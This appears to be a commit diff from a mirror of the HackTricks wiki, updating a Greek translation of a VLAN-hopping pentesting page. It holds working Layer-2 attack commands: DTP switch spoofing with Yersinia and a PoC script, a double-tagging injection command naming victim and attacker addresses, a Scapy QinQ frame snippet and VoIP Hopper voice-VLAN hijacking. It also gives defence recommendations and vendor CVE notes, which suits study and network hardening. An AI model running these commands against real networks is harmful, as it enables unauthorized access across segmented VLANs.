mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
c8bc6ab154
commit
0b7cfa1ed5
@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτή μπορεί να αποκατασταθεί στη συνέχεια.
|
||||
Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτό μπορεί να αποκατασταθεί στη συνέχεια.
|
||||
|
||||
Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται VLAN IDs και ενεργοποιούνται:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Στη συνέχεια, γίνεται ένα αίτημα διεύθυνσης μέσω DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Παράδειγμα για την χειροκίνητη ρύθμιση μιας στατικής διεύθυνσης IP σε μια διεπαφή (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60.
|
||||
|
||||
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατακερματισμένης VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
|
||||
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
|
||||
|
||||
---
|
||||
|
||||
## Άλλες Τεχνικές VLAN-Hopping (χωρίς προνομιακή CLI διακόπτη)
|
||||
|
||||
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Σε πραγματικές καταστάσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:
|
||||
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Στις πραγματικές περιπτώσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:
|
||||
|
||||
### 1. Switch-Spoofing με Πρωτόκολλο Δυναμικής Σύνδεσης (DTP)
|
||||
|
||||
@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
*Yersinia* και αρκετές PoCs αυτοματοποιούν τη διαδικασία:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. Οι σύγχρονοι πυρήνες Linux δεν απαιτούν πια το *vconfig*; αντί αυτού χρησιμοποιήστε το *ip link*:
|
||||
Recon helper (παθητική αναγνώριση της κατάστασης DTP της θύρας):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Διπλή Ετικέτα (Κατάχρηση Native-VLAN)
|
||||
|
||||
Εάν ο επιτιθέμενος βρίσκεται στο **native (χωρίς ετικέτα) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* 802.1Q κεφαλίδες μπορεί να "πηδήξει" σε ένα δεύτερο VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε λειτουργία πρόσβασης. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2024) αυτοματοποιούν την ένεση:
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα.
|
||||
|
||||
### 2. Double-Tagging (Κατάχρηση Native-VLAN)
|
||||
|
||||
Εάν ο επιτιθέμενος βρίσκεται στο **native (untagged) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* κεφαλίδες 802.1Q μπορεί να μεταπηδήσει σε μια δεύτερη VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε access mode. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2025) αυτοματοποιούν την ένεση:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Η εξωτερική ετικέτα (1) αφαιρείται από τον πρώτο διακόπτη επειδή ταιριάζει με το εγγενές VLAN.
|
||||
2. Η εσωτερική ετικέτα (20) είναι τώρα εκτεθειμένη; το πλαίσιο προωθείται προς το trunk προς το VLAN 20.
|
||||
|
||||
Η τεχνική εξακολουθεί να λειτουργεί το 2025 σε δίκτυα που αφήνουν το εγγενές VLAN στην προεπιλογή και δέχονται μη ετικετοποιημένα πλαίσια.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν *Q-in-Q* υπηρεσία παρόχου ενσωμάτωσης. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήκώσει τυχαία 802.1Q-ετικετοποιημένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για 802.1ad ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
|
||||
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν την *Q-in-Q* ενσωμάτωση παρόχου υπηρεσιών. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήμανε τυχαία 802.1Q-σημασμένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για ethertype `0x88a8` και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||
|
||||
Οι εταιρικές θύρες πρόσβασης συχνά βρίσκονται σε μια *“access + voice”* ρύθμιση: μη επισημασμένο VLAN δεδομένων για τον υπολογιστή και ένα επισημασμένο VLAN φωνής που διαφημίζεται μέσω CDP ή LLDP-MED. Με την προσποίηση ενός IP τηλεφώνου, ο επιτιθέμενος μπορεί αυτόματα να ανακαλύψει και να εισέλθει στο VLAN VoIP—ακόμα και όταν το DTP είναι απενεργοποιημένο.
|
||||
|
||||
*VoIP Hopper* (πακεταρισμένο στο Kali 2025.2) υποστηρίζει CDP, DHCP options **176/242**, και πλήρη προσποίηση LLDP-MED:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Η τεχνική παρακάμπτει τον διαχωρισμό δεδομένων/φωνής και είναι εξαιρετικά κοινή σε διακόπτες επιχείρησης το 2025 επειδή η LLDP auto-policy είναι ενεργοποιημένη από προεπιλογή σε πολλά μοντέλα.
|
||||
|
||||
---
|
||||
|
||||
## Συστάσεις Άμυνας
|
||||
|
||||
1. Απενεργοποιήστε το DTP σε όλες τις θύρες που απευθύνονται στους χρήστες: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, μαύρο VLAN** και προσθέστε ετικέτα: `vlan dot1q tag native`.
|
||||
3. Αφαιρέστε τα περιττά VLAN σε trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Επιβάλετε ασφάλεια θύρας, DHCP snooping & δυναμική επιθεώρηση ARP για να περιορίσετε τη δραστηριότητα Layer-2 που είναι κακόβουλη.
|
||||
5. Προτιμήστε τα private-VLANs ή τη L3 διαχωριστική γραμμή αντί να βασίζεστε αποκλειστικά στη διαχωριστική γραμμή 802.1Q.
|
||||
2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, black-hole VLAN** και επισημάνετε το: `vlan dot1q tag native`.
|
||||
3. Αφαιρέστε τα περιττά VLANs από τα trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Επιβάλετε ασφάλεια θύρας, DHCP snooping, δυναμική επιθεώρηση ARP **και 802.1X** για να περιορίσετε τη δραστηριότητα κακόβουλου Layer-2.
|
||||
5. Απενεργοποιήστε τις αυτόματες πολιτικές φωνής LLDP-MED (ή κλειδώστε τις σε αυθεντικοποιημένα MAC OUIs) αν η παραποίηση IP-τηλεφώνου δεν απαιτείται.
|
||||
6. Προτιμήστε τα private-VLANs ή τον L3 διαχωρισμό αντί να βασίζεστε αποκλειστικά στον διαχωρισμό 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Ευπάθειες Πωλητών στον Πραγματικό Κόσμο (2022-2024)
|
||||
|
||||
Ακόμα και μια τέλεια σκληρυμένη διαμόρφωση διακόπτη μπορεί να υπονομευθεί από σφάλματα firmware. Πρόσφατα παραδείγματα περιλαμβάνουν:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** επιτρέπουν την ένεση από το εγγενές VLAN σε μη εγγενή WLAN VLANs, παρακάμπτοντας τον ενσύρματο/ασύρματο διαχωρισμό.
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** επιτρέπει την παράκαμψη ACL σε SVIs μετά την εναλλαγή του Resilient Ethernet Protocol, διαρρέοντας την κυκλοφορία μεταξύ VRFs/VLANs. Ενημέρωση 17.9.5 ή νεότερη.
|
||||
|
||||
Πάντα παρακολουθείτε τις συμβουλές των προμηθευτών για ζητήματα παράκαμψης/ACL που σχετίζονται με VLAN και διατηρείτε τις εικόνες υποδομής ενημερωμένες.
|
||||
|
||||
---
|
||||
|
||||
@ -118,6 +157,8 @@ sendp(frame, iface="eth0")
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Τι είναι το VLAN Hopping;" (Αυγ 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper project – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user